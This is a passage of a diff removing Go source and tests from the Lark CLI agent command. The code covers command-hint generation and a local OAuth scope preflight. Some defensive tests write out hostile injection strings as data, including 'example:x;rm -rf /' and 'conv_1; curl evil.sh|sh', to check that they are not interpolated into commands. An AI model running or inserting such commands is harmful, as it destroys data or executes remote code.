-// the user-echoed ref is interpolated into every next command, so a ref that
-// is not <charset>:<charset> (exactly one ':', [A-Za-z0-9_-] on both sides)
-// suppresses the whole hint — a ref with spaces/quotes would make the command
-// un-copy-pasteable at best and an injection surface at worst.
-func TestNextForTaskRejectsUnsafeRef(t *testing.T) {
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
-	for _, bad := range []string{"example:agent x", "example:x;rm -rf /", "example", "a:b:c", "example:$(x)", `example:"x"`, ":x", "example:"} {
-		if next := nextForTask(bad, task); len(next) != 0 {
-			t.Errorf("unsafe ref %q should suppress the whole next, got %+v", bad, next)
-		}
-	}
-	if next := nextForTask("example:agent_x", task); len(next) == 0 {
-		t.Error("valid ref example:agent_x should keep next")
-	}
-}
-
-// TestNextForTaskDegradesInjectionContextID pins the context_id whitelist with
-// its degradation semantics: a legit task_id with an injection-shaped
-// context_id (input_required branch interpolates both) keeps the hint but
-// replaces the dirty id with the <context_id> placeholder — Template:true, no
-// untrusted content interpolated.
-func TestNextForTaskDegradesInjectionContextID(t *testing.T) {
-	dirty := "conv_1; curl evil.sh|sh"
-	task := &iagent.AgentTask{
-		TaskID:    "chat_1",
-		ContextID: dirty,
-		State:     iagent.StateInputRequired,
-	}
-	next := nextForTask("example:agent_x", task)
-	if len(next) != 1 {
-		t.Fatalf("dirty context_id must degrade, not drop the hint, got %+v", next)
-	}
-	if !next[0].Template {
-		t.Errorf("degraded hint must be template=true, got %+v", next[0])
-	}
-	if !strings.Contains(next[0].Command, "<context_id>") {
-		t.Errorf("degraded hint must use the <context_id> placeholder: %q", next[0].Command)
-	}
-	if strings.Contains(next[0].Command, "conv_1") {
-		t.Errorf("dirty context_id leaked into the command: %q", next[0].Command)
-	}
-}
-
-// TestNextForTaskAuthRequiredPointsToAuth pins F6: auth_required is an
-// agent-side task state (the end user must (re)authorize in the agent), NOT a
-// text-continuation like input_required. Its next must point at the auth
-// re-authorize flow (auth login --scope), never reuse the text-continuation
-// send hint.
-func TestNextForTaskAuthRequiredPointsToAuth(t *testing.T) {
-	task := &iagent.AgentTask{TaskID: "chat_1", ContextID: "conv_1", State: iagent.StateAuthRequired}
-	next := nextForTask("example:agent_x", task)
-	if len(next) != 1 {
-		t.Fatalf("auth_required should produce 1 next, got %+v", next)
-	}
-	// Must NOT be the input_required text-continuation hint.
-	if strings.Contains(next[0].Command, "agent send") || strings.Contains(next[0].Command, "--text") {
-		t.Fatalf("auth_required should not reuse the text-continuation hint, got %q", next[0].Command)
-	}
-	// Must point at the auth (re-authorize) flow.
-	if !strings.HasPrefix(next[0].Command, "lark-cli auth login") || !strings.Contains(next[0].Command, "--scope") {
-		t.Fatalf("auth_required should point to auth login --scope, got %q", next[0].Command)
-	}
-	// The concrete scopes come from the card, so the command carries a
-	// placeholder and must be marked template.
-	if !next[0].Template {
-		t.Errorf("contains a placeholder, should be Template=true, got %+v", next[0])
-	}
-}
-
-// TestNextForTaskWatchNotWait pins the flag-name fix and the bounded-watch
-// default: task get has --watch, not --wait, and the poll hint must suggest a
-// BOUNDED watch (`--watch --timeout <default>`) so an AI caller neither blocks
-// forever on a long task nor self-hammers with unbounded polls.
-func TestNextForTaskWatchNotWait(t *testing.T) {
-	next := nextForTask("example:agent_x", &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking})
-	if len(next) == 0 {
-		t.Fatal("working task must produce a poll next")
-	}
-	if !strings.Contains(next[0].Command, "--watch") || strings.Contains(next[0].Command, "--wait") {
-		t.Fatalf("poll next must use --watch: %+v", next)
-	}
-	wantTimeout := "--timeout " + defaultWatchTimeout.String()
-	if !strings.Contains(next[0].Command, wantTimeout) {
-		t.Fatalf("poll next must be bounded with %q, got %+v", wantTimeout, next)
-	}
-}
-
-// TestNextForTaskTemplateFlag pins the template marker semantics: the
-// input_required continue hint carries a <你的答复> placeholder, so it must be
-// marked template=true (not directly executable); poll and terminal-detail
-// hints are verbatim-executable and must not carry the marker.
-func TestNextForTaskTemplateFlag(t *testing.T) {
-	// input_required with a known context: placeholder in --text → template.
-	cont := nextForTask("example:agent_x", &iagent.AgentTask{
-		TaskID: "chat_1", ContextID: "conv_1", State: iagent.StateInputRequired,
-	})
-	if len(cont) != 1 || !cont[0].Template {
-		t.Fatalf("input_required next must be template=true, got %+v", cont)
-	}
-	// input_required without a context id: <context_id> placeholder → template.
-	contNoCtx := nextForTask("example:agent_x", &iagent.AgentTask{
-		TaskID: "chat_1", State: iagent.StateInputRequired,
-	})
-	if len(contNoCtx) != 1 || !contNoCtx[0].Template {
-		t.Fatalf("input_required (no ctx) next must be template=true, got %+v", contNoCtx)
-	}
-	// Poll and terminal-detail hints are directly executable → no template flag.
-	for _, task := range []*iagent.AgentTask{
-		{TaskID: "chat_1", State: iagent.StateWorking},
-		{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true},
-	} {
-		next := nextForTask("example:agent_x", task)
-		if len(next) != 1 || next[0].Template {
-			t.Fatalf("state %s next must be executable (template unset), got %+v", task.State, next)
-		}
-	}
-}
--- a/cmd/agent/preflight.go
+++ b/cmd/agent/preflight.go
@@ -1,216 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"encoding/json"
-	"fmt"
-	"sort"
-	"strings"
-	"time"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/appmeta"
-	larkauth "github.com/larksuite/cli/internal/auth"
-	"github.com/larksuite/cli/internal/client"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-)
-
-// This file implements the scope preflight: after the provider is resolved and
-// before the real API call, the session's available scopes are checked against
-// the provider's RequiredScopes. The check is all-or-nothing — any real API verb
-// requires the provider's entire scope set. For USER identity the scope list is
-// read locally from the credential cache (no network); for BOT identity it is
-// the app's published TenantScopes, fetched best-effort (a fetch failure
-// downgrades the check to a no-op, like event's console precheck). A missing
-// scope surfaces as a missing_scope permission error (exit 3) with an
-// identity-appropriate remediation hint instead of a round-trip API 99991679.
-// `--dry-run` never reaches it (dry-run returns before the provider is resolved).
-
-// storedUserScopes is the token-scope read seam: it returns the granted scope
-// list of the stored user token from the LOCAL credential cache (keychain via
-// GetStoredToken — same read path as `auth check`), issuing no network
-// request. nil/empty means "no usable local scope list" and the caller skips
-// preflight. Tests swap it so no unit test touches the real keychain.
-var storedUserScopes = func(f *cmdutil.Factory) []string {
-	if f == nil || f.Config == nil {
-		return nil
-	}
-	config, err := f.Config()
-	if err != nil || config == nil || config.UserOpenId == "" {
-		return nil
-	}
-	stored := larkauth.GetStoredToken(config.AppID, config.UserOpenId)
-	if stored == nil {
-		return nil
-	}
-	return strings.Fields(stored.Scope)
-}
-
-// preflightInput is the pure input of preflightScopes, so the check itself is
-// unit-testable without a Factory, keychain, or provider client.
-type preflightInput struct {
-	Identity    core.Identity
-	TokenScopes []string
-	Provider    iagent.Provider
-}
-
-// preflightScopes runs the local scope check. It returns nil when the check
-// does not apply — bot identity (handled elsewhere) or an unreadable/empty local
-// scope list (the downstream not_configured / need-authorization logic owns
-// that). The check is all-or-nothing: when any scope in the provider's
-// RequiredScopes set is not granted it returns the missing_scope permission
-// error (exit 3, mirroring the event-consume scope preflight) carrying every
-// missing scope, with a re-auth hint listing ONLY the missing scopes.
-//
-// The hint lists just the missing scopes (not a merge with existing grants):
-// the open platform authorizes INCREMENTALLY — re-login with only the missing
-// scopes keeps every previously-granted scope — so re-requesting the existing
-// grants would be redundant. This mirrors cmd/event's scopeRemediationHint.
-func preflightScopes(in preflightInput) error {
-	// No usable scope list → skip (user not logged in, or bot has no published
-	// version / the fetch failed); the downstream not_configured / API error owns
-	// that path.
-	if len(in.TokenScopes) == 0 {
-		return nil
-	}
-	// Only user / bot carry a scope-list concept.
-	if in.Identity != core.AsUser && !in.Identity.IsBot() {
-		return nil
-	}
-
-	granted := make(map[string]bool, len(in.TokenScopes))
-	for _, s := range in.TokenScopes {
-		granted[s] = true
-	}
-
-	var missing []string
-	for _, scope := range in.Provider.RequiredScopes {
-		if !granted[scope] {
-			missing = append(missing, scope)
-		}
-	}
-	if len(missing) == 0 {
-		return nil
-	}
-	sort.Strings(missing)
-
-	return errs.NewPermissionError(errs.SubtypeMissingScope,
-		"当前 %s 身份缺少本命令所需 scope: %s", in.Identity, strings.Join(missing, ", ")).
-		WithIdentity(string(in.Identity)).
-		WithMissingScopes(missing...).
-		WithHint("%s", scopeRemediationHint(in.Identity, missing))
-}
-
-// scopeRemediationHint returns an identity-appropriate fix for the missing
-// scopes, mirroring cmd/event's scopeRemediationHint split:
-//   - user: re-login requesting ONLY the missing scopes — the open platform
-//     authorizes incrementally, so previously-granted scopes are preserved (no
-//     merge needed).
-//   - bot: the tenant token's scopes come from the app's published version, so
-//     the fix is to add the scopes to the app in the developer console and
-//     re-publish — not a per-token re-auth. (event additionally offers a
-//     one-click scan-to-enable deep link; that generator lives in cmd/event and
-//     is not duplicated here.)
-func scopeRemediationHint(id core.Identity, missing []string) string {
-	if id.IsBot() {
-		return fmt.Sprintf(
-			"the bot (tenant) token's scopes come from the app's published version — add these scopes to the app in the developer console and re-publish: %s",
-			strings.Join(missing, " "))
-	}
-	// Canonical repo-wide auth login --scope remediation phrasing (see
-	// cmd/event, shortcuts/*). Only the missing scopes are listed — the open
-	// platform authorizes incrementally, so existing grants are preserved.
-	return fmt.Sprintf(
-		"run `lark-cli auth login --scope \"%s\"` in the background. It blocks and outputs a verification URL — retrieve the URL and open it in a browser to complete login.",
-		strings.Join(missing, " "))
-}
-
-// preflightScopesForRef is the ref-addressed wrapper: it parses ref for its
-// scheme and delegates to preflightScopesForScheme. An unparsable ref yields nil
-// — the preflight is an accelerator, never a new failure mode; the paths that
-// validate ref/scheme for real have already run inside resolveSpec.
-func preflightScopesForRef(f *cmdutil.Factory, id core.Identity, ref string) error {
-	r, err := iagent.ParseRef(ref)
-	if err != nil {
-		return nil //nolint:nilerr // preflight is best-effort: resolveSpec already surfaced any real ref error
-	}
-	return preflightScopesForScheme(f, id, r.Scheme)
-}
-
-// preflightScopesForScheme is the scheme-keyed core of the preflight, shared by
-// the ref-addressed verbs (via preflightScopesForRef) and the online
-// `agent list <scheme>` enumeration, which has no agent_id. It resolves the
-// provider registration for the scheme, reads the stored scopes through the
-// identity-appropriate seam, and runs the same all-or-nothing check against the
-// provider's full RequiredScopes. Any gap in its own inputs (nil Factory,
-// unregistered scheme, empty RequiredScopes) yields nil.
-func preflightScopesForScheme(f *cmdutil.Factory, id core.Identity, scheme string) error {
-	if f == nil {
-		return nil
-	}
-	prov, ok := iagent.Info(scheme)
-	if !ok || len(prov.RequiredScopes) == 0 {
-		return nil // no scopes to check (e.g. the example mock declares none)
-	}
-
-	var tokenScopes []string
-	switch {
-	case id == core.AsUser:
-		tokenScopes = storedUserScopes(f) // local keychain read, no network
-	case id.IsBot():
-		tokenScopes = botTenantScopes(f) // best-effort app-version fetch
-	default:
-		return nil
-	}
-	return preflightScopes(preflightInput{Identity: id, TokenScopes: tokenScopes, Provider: prov})
-}
-
-// botTenantScopes is the bot-scope read seam: it fetches the app's
-// currently-published version and returns its TenantScopes (the scopes a tenant
-// token actually carries). Any failure — no client, no published version,
-// network / appmeta error — yields nil so the caller skips the check (weak
-// dependency, mirroring event's console precheck downgrade). Tests swap it so no
-// unit test touches the network.
-var botTenantScopes = func(f *cmdutil.Factory) []string {
-	if f == nil || f.Config == nil {
-		return nil
-	}
-	config, err := f.Config()
-	if err != nil || config == nil || config.AppID == "" {
-		return nil
-	}
-	apiClient, err := f.NewAPIClient()
-	if err != nil {
-		return nil
-	}
-	ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
-	defer cancel()
-	appVer, err := appmeta.FetchCurrentPublished(ctx, &appmetaBotClient{client: apiClient}, config.AppID)
-	if err != nil || appVer == nil {
-		return nil
-	}
-	return appVer.TenantScopes
-}
-
-// appmetaBotClient adapts *client.APIClient to appmeta's APIClient shape under a
-// pinned bot identity (/app_versions is app-level and rejects UAT). It returns
-// the raw JSON body for appmeta to project; any non-typed transport error is
-// classified so callers only see typed errs.* values (though botTenantScopes
-// treats every error as a no-op anyway).
-type appmetaBotClient struct{ client *client.APIClient }
-
-func (c *appmetaBotClient) CallAPI(ctx context.Context, method, path string, body interface{}) (json.RawMessage, error) {
-	resp, err := c.client.DoAPI(ctx, client.RawApiRequest{Method: method, URL: path, Data: body, As: core.AsBot})
-	if err != nil {
-		if _, ok := errs.ProblemOf(err); ok {
-			return nil, err
-		}
-		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "api %s %s: %s", method, path, err).WithCause(err)
-	}
-	return json.RawMessage(resp.RawBody), nil
-}
--- a/cmd/agent/preflight_test.go
+++ b/cmd/agent/preflight_test.go
@@ -1,434 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"errors"
-	"reflect"
-	"strings"
-	"testing"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/httpmock"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// scopedInfo fetches the registered fakescoped ProviderInfo (4 RequiredScopes,
-// see scripted_provider_test.go) — the all-or-nothing preflight requires every
-// one of fakescopedAllScopes for any real API verb.
-func scopedInfo(t *testing.T) iagent.Provider {
-	t.Helper()
-	registerScripted()
-	prov, ok := iagent.Info("fakescoped")
-	if !ok {
-		t.Fatal("fakescoped provider should be registered")
-	}
-	return prov
-}
-
-// requirePreflightError asserts err is the missing_scope permission error
-// (exit 3, mirroring the event-consume scope preflight) and returns the typed
-// value for field assertions.
-func requirePreflightError(t *testing.T, err error) *errs.PermissionError {
-	t.Helper()
-	if err == nil {
-		t.Fatal("want missing_scope error, got nil")
-	}
-	var pe *errs.PermissionError
-	if !errors.As(err, &pe) {
-		t.Fatalf("want *errs.PermissionError, got %T: %v", err, err)
-	}
-	if pe.Subtype != errs.SubtypeMissingScope {
-		t.Fatalf("subtype should be missing_scope, got %q", pe.Subtype)
-	}
-	if code := output.ExitCodeOf(err); code != 3 {
-		t.Fatalf("exit code should be 3, got %d", code)
-	}
-	return pe
-}
-
-// TestPreflightReportsMissingWithIncrementalHint is the all-or-nothing pin: a
-// user token holding only some of the provider's scopes fails with EVERY missing
-// scope named (sorted) in both the message and missing_scopes, and a re-auth
-// hint listing ONLY the missing scopes (the open platform authorizes
-// incrementally, so re-login with just the missing keeps existing grants — no
-// merge needed, mirroring cmd/event).
-func TestPreflightReportsMissingWithIncrementalHint(t *testing.T) {
-	err := preflightScopes(preflightInput{
-		Identity:    core.AsUser,
-		TokenScopes: []string{"im:message", "fakescoped:agent_chat:write"},
-		Provider:    scopedInfo(t),
-	})
-	ve := requirePreflightError(t, err)
-
-	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
-	if !strings.Contains(ve.Message, "当前 user 身份缺少本命令所需 scope: "+strings.Join(wantMissing, ", ")) {
-		t.Errorf("message should list all missing scopes, got %q", ve.Message)
-	}
-	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
-		t.Errorf("missing_scopes should be %v (all missing, stable sort), got %v", wantMissing, ve.MissingScopes)
-	}
-	// Incremental hint: ONLY the missing scopes (not merged with existing grants).
-	wantScopeArg := `lark-cli auth login --scope "fakescoped:agent_artifact:read fakescoped:agent_attachment:write fakescoped:agent_chat:read"`
-	if !strings.Contains(ve.Hint, wantScopeArg) {
-		t.Errorf("hint should contain only the missing scopes %q, got %q", wantScopeArg, ve.Hint)
-	}
-	// And must NOT re-list an already-granted scope.
-	if strings.Contains(ve.Hint, "im:message") {
-		t.Errorf("incremental hint must not re-request already-granted scopes, got %q", ve.Hint)
-	}
-}
-
-// TestPreflightBotNoTenantScopesSkipped pins that with no available tenant scope
-// list (fetch failed / app unpublished → nil), the bot check downgrades to a
-// no-op, so the bus/API handshake owns the error.
-func TestPreflightBotNoTenantScopesSkipped(t *testing.T) {
-	err := preflightScopes(preflightInput{
-		Identity:    core.AsBot,
-		TokenScopes: nil,
-		Provider:    scopedInfo(t),
-	})
-	if err != nil {
-		t.Fatalf("bot with no tenant scope list should skip preflight, got %v", err)
-	}
-}
-
-// TestPreflightBotMissingScopes pins the bot branch: given the app's published
-// TenantScopes, a missing scope is reported with the BOT remediation hint (add
-// in the developer console + re-publish), NOT a user re-login.
-func TestPreflightBotMissingScopes(t *testing.T) {
-	// Tenant token carries 2 of the 4 fakescoped scopes.
-	err := preflightScopes(preflightInput{
-		Identity:    core.AsBot,
-		TokenScopes: []string{"fakescoped:agent_chat:read", "fakescoped:agent_chat:write"},
-		Provider:    scopedInfo(t),
-	})
-	ve := requirePreflightError(t, err)
-	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write"}
-	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
-		t.Errorf("bot missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
-	}
-	if ve.Identity != string(core.AsBot) {
-		t.Errorf("error identity should be bot, got %q", ve.Identity)
-	}
-	// Bot hint = console re-publish, NOT `auth login` (that is the user fix).
-	if strings.Contains(ve.Hint, "auth login") {
-		t.Errorf("bot hint must not suggest auth login (user-only), got %q", ve.Hint)
-	}
-	if !strings.Contains(ve.Hint, "developer console") {
-		t.Errorf("bot hint should point to the developer console, got %q", ve.Hint)
-	}
-}
-
-// TestPreflightBotAllScopesPresent pins the bot happy path.
-func TestPreflightBotAllScopesPresent(t *testing.T) {
-	if err := preflightScopes(preflightInput{
-		Identity: core.AsBot, TokenScopes: fakescopedAllScopes, Provider: scopedInfo(t),
-	}); err != nil {
-		t.Errorf("bot with all tenant scopes should pass, got %v", err)
-	}
-}
-
-// TestPreflightNoTokenScopesReturnsNil pins that no local token (or a token
-// without a scope list) yields nil so the downstream not_configured /
-// need-authorization path owns the error.
-func TestPreflightNoTokenScopesReturnsNil(t *testing.T) {
-	err := preflightScopes(preflightInput{
-		Identity:    core.AsUser,
-		TokenScopes: nil,
-		Provider:    scopedInfo(t),
-	})
-	if err != nil {
-		t.Fatalf("no token scope list should return nil, got %v", err)
-	}
-}
-
-// TestPreflightAllScopesPresent pins the happy path: a token carrying all four
-// fakescoped scopes passes the all-or-nothing check.
-func TestPreflightAllScopesPresent(t *testing.T) {
-	if err := preflightScopes(preflightInput{
-		Identity: core.AsUser, TokenScopes: fakescopedAllScopes, Provider: scopedInfo(t),
-	}); err != nil {
-		t.Errorf("should pass when all scopes present, got %v", err)
-	}
-}
-
-// TestPreflightMissingAnyScopeFails pins the all-or-nothing rule: a token that
-// is missing even a single scope fails, and the reported missing set is exactly
-// the scopes it lacks (not just this-verb scopes — the per-verb concept is
-// gone).
-func TestPreflightMissingAnyScopeFails(t *testing.T) {
-	// Missing exactly one scope (attachment) → that one scope is reported.
-	ve := requirePreflightError(t, preflightScopes(preflightInput{
-		Identity: core.AsUser,
-		TokenScopes: []string{
-			"fakescoped:agent_chat:write", "fakescoped:agent_chat:read", "fakescoped:agent_artifact:read",
-		},
-		Provider: scopedInfo(t),
-	}))
-	if !reflect.DeepEqual(ve.MissingScopes, []string{"fakescoped:agent_attachment:write"}) {
-		t.Errorf("when only attachment is missing, missing_scopes should be [fakescoped:agent_attachment:write], got %v", ve.MissingScopes)
-	}
-
-	// Only the write scope → the other three are all reported.
-	ve = requirePreflightError(t, preflightScopes(preflightInput{
-		Identity: core.AsUser, TokenScopes: []string{"fakescoped:agent_chat:write"}, Provider: scopedInfo(t),
-	}))
-	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
-	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
-		t.Errorf("with only the write scope, missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
-	}
-}
-
-// ---------------------------------------------------------------------------
-// Command wiring: each verb runs preflight after resolveProvider and before
-// any real API call. The stored-scope read goes through the storedUserScopes
-// seam so no test touches the real keychain; zero httpmock stubs are
-// registered, so any HTTP request would fail the test with a transport error
-// instead of the asserted missing_scope.
-// ---------------------------------------------------------------------------
-
-// swapStoredScopes swaps the storedUserScopes seam for the test's scope list.
-func swapStoredScopes(t *testing.T, scopes []string) {
-	t.Helper()
-	old := storedUserScopes
-	storedUserScopes = func(*cmdutil.Factory) []string { return scopes }
-	t.Cleanup(func() { storedUserScopes = old })
-}
-
-// userLeafCmd builds a leaf command under lark-cli/agent/... with --as
-// explicitly set to user so ResolveAs honors it verbatim.
-func userLeafCmd(t *testing.T, names ...string) *cobra.Command {
-	t.Helper()
-	parent := &cobra.Command{Use: "lark-cli"}
-	for _, name := range names {
-		child := &cobra.Command{Use: name}
-		parent.AddCommand(child)
-		parent = child
-	}
-	parent.Flags().String("as", "", "identity")
-	if err := parent.Flags().Set("as", "user"); err != nil {
-		t.Fatal(err)
-	}
-	parent.SetContext(context.Background())
-	return parent
-}
-
-// userFactory builds a test Factory + registry for a user-identity run.
-func userFactory(t *testing.T) (*cmdutil.Factory, *httpmock.Registry) {
-	t.Helper()
-	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	return f, reg
-}
-
-// TestSendPreflightBlocksMissingScope pins the send wiring: a user token that
-// holds none of the provider's scopes fails with missing_scope
-// (reporting the full set) and no request.
-func TestSendPreflightBlocksMissingScope(t *testing.T) {
-	swapStoredScopes(t, []string{"im:message"})
-	f, _ := userFactory(t)
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
-		Ref: "fakescoped:agt_x", Text: "hi", As: "user",
-	})
-	ve := requirePreflightError(t, err)
-	if !reflect.DeepEqual(ve.MissingScopes, fakescopedAllScopes) {
-		t.Errorf("with no provider scope, send should report all missing %v, got %v", fakescopedAllScopes, ve.MissingScopes)
-	}
-}
-
-// TestSendPreflightPartialTokenBlocked pins that a partial token (write only)
-// still fails the all-or-nothing check, reporting the three scopes it lacks.
-func TestSendPreflightPartialTokenBlocked(t *testing.T) {
-	swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
-	f, _ := userFactory(t)
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
-		Ref: "fakescoped:agt_x", Text: "hi", As: "user",
-	})
-	ve := requirePreflightError(t, err)
-	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
-	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
-		t.Errorf("write-only token should report missing %v, got %v", wantMissing, ve.MissingScopes)
-	}
-}
-
-// TestSendDryRunSkipsPreflight pins that --dry-run stays API-free AND
-// scope-free — it succeeds even when the token has none of the provider scopes.
-func TestSendDryRunSkipsPreflight(t *testing.T) {
-	swapStoredScopes(t, []string{"im:message"})
-	f, _ := userFactory(t)
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
-		Ref: "fakescoped:agt_x", Text: "hi", As: "user", DryRun: true,
-	})
-	if err != nil {
-		t.Fatalf("--dry-run should not run scope preflight: %v", err)
-	}
-}
-
-// TestTaskGetPreflightBlocksMissingScope pins the task get wiring.
-func TestTaskGetPreflightBlocksMissingScope(t *testing.T) {
-	swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
-	f, _ := userFactory(t)
-	err := agentTaskGetRun(&taskOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "task", "get"),
-		Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
-	})
-	ve := requirePreflightError(t, err)
-	if !contains(ve.MissingScopes, "fakescoped:agent_chat:read") {
-		t.Errorf("task get missing scope should include fakescoped:agent_chat:read, got %v", ve.MissingScopes)
-	}
-}
-
-// TestTaskGetArtifactPreflightFires pins the --artifact download wiring
-// (resolveDownload path): it too runs the all-or-nothing preflight before the
-// API call.
-func TestTaskGetArtifactPreflightFires(t *testing.T) {
-	swapStoredScopes(t, []string{"fakescoped:agent_chat:read"})
-	f, _ := userFactory(t)
-	err := agentTaskGetRun(&taskOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "task", "get"),
-		Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
-		ArtifactID: "art_1", Output: "out.bin",
-	})
-	ve := requirePreflightError(t, err)
-	if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
-		t.Errorf("task get --artifact missing scope should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
-	}
-}
-
-// TestTaskListPreflightBlocksMissingScope pins the task list wiring.
-func TestTaskListPreflightBlocksMissingScope(t *testing.T) {
-	swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
-	f, _ := userFactory(t)
-	err := agentTaskListRun(&taskOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "task", "list"),
-		Ref: "fakescoped:agt_x", As: "user",
-	})
-	requirePreflightError(t, err)
-}
-
-// TestContextVerbsPreflightBlocksMissingScope pins the context list/get/delete
-// wiring: all three run the all-or-nothing preflight.
-func TestContextVerbsPreflightBlocksMissingScope(t *testing.T) {
-	runs := []struct {
-		name string
-		run  func(f *cmdutil.Factory) error
-	}{
-		{"list", func(f *cmdutil.Factory) error {
-			return agentContextListRun(&contextOptions{
-				Factory: f, Cmd: userLeafCmd(t, "agent", "context", "list"),
-				Ref: "fakescoped:agt_x", As: "user", Format: "pretty",
-			})
-		}},
-		{"get", func(f *cmdutil.Factory) error {
-			return agentContextGetRun(&contextOptions{
-				Factory: f, Cmd: userLeafCmd(t, "agent", "context", "get"),
-				Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user",
-			})
-		}},
-		{"delete", func(f *cmdutil.Factory) error {
-			return agentContextDeleteRun(&contextOptions{
-				Factory: f, Cmd: userLeafCmd(t, "agent", "context", "delete"),
-				Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user", Yes: true,
-			})
-		}},
-	}
-	for _, tc := range runs {
-		t.Run(tc.name, func(t *testing.T) {
-			swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
-			f, _ := userFactory(t)
-			requirePreflightError(t, tc.run(f))
-		})
-	}
-}
-
-// TestSendPreflightPassesWithScopeAndSends pins that a token holding the full
-// provider scope set lets the real send proceed (the scripted Send hook fires,
-// proving preflight did not false-positive).
-func TestSendPreflightPassesWithScopeAndSends(t *testing.T) {
-	swapStoredScopes(t, fakescopedAllScopes)
-	f, _ := userFactory(t)
-	sent := false
-	setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
-		sent = true
-		return &iagent.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateWorking}, nil
-	}})
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
-		Ref: "fakescoped:agt_x", Text: "hi", As: "user",
-	})
-	if err != nil {
-		t.Fatalf("a send with all scopes should pass preflight and send: %v", err)
-	}
-	if !sent {
-		t.Fatal("provider.Send should actually be called after preflight passes")
-	}
-}
-
-// TestTaskCancelPreflightWired pins the task cancel wiring: the capability
-// gate (fakescoped card declares task_cancel=false) answers before
-// provider/preflight, so a scope-missing user token yields
-// unsupported_capability, not missing_scope — proving the wired
-// preflight does not change the gate-first ordering.
-func TestTaskCancelPreflightWired(t *testing.T) {
-	swapStoredScopes(t, []string{"im:message"})
-	f, _ := userFactory(t)
-	err := agentTaskCancelRun(&taskOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "task", "cancel"),
-		Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
-	})
-	if err == nil {
-		t.Fatal("task cancel with task_cancel=false should be blocked by the capability gate")
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
-		t.Fatalf("want unsupported_capability (capability gate answers first), got %+v", p)
-	}
-}
-
-// swapBotTenantScopes swaps the botTenantScopes seam so no test touches the
-// app-version fetch / network.
-func swapBotTenantScopes(t *testing.T, scopes []string) {
-	t.Helper()
-	old := botTenantScopes
-	botTenantScopes = func(*cmdutil.Factory) []string { return scopes }
-	t.Cleanup(func() { botTenantScopes = old })
-}
-
-// TestTaskGetBotPreflightBlocksMissingScope pins the bot wiring end-to-end:
-// preflightScopesForRef gathers tenant scopes via the botTenantScopes seam (not
-// storedUserScopes) for a bot identity and blocks a missing scope.
-func TestTaskGetBotPreflightBlocksMissingScope(t *testing.T) {
-	swapBotTenantScopes(t, []string{"fakescoped:agent_chat:read"})
-	f, _ := userFactory(t)
-	err := agentTaskGetRun(&taskOptions{
-		Factory: f, Cmd: taskCmdCtx(t, "get"), // taskCmdCtx sets --as bot
-		Ref: "fakescoped:agt_x", TaskID: "t1", As: "bot",
-	})
-	ve := requirePreflightError(t, err)
-	if ve.Identity != string(core.AsBot) {
-		t.Errorf("preflight error identity should be bot, got %q", ve.Identity)
-	}
-	if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
-		t.Errorf("bot task get missing scopes should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
-	}
-}
-
-// contains reports whether s appears in the slice.
-func contains(ss []string, s string) bool {
-	for _, x := range ss {
-		if x == s {
-			return true
-		}
-	}
-	return false
-}
--- a/cmd/agent/register_test.go
+++ b/cmd/agent/register_test.go
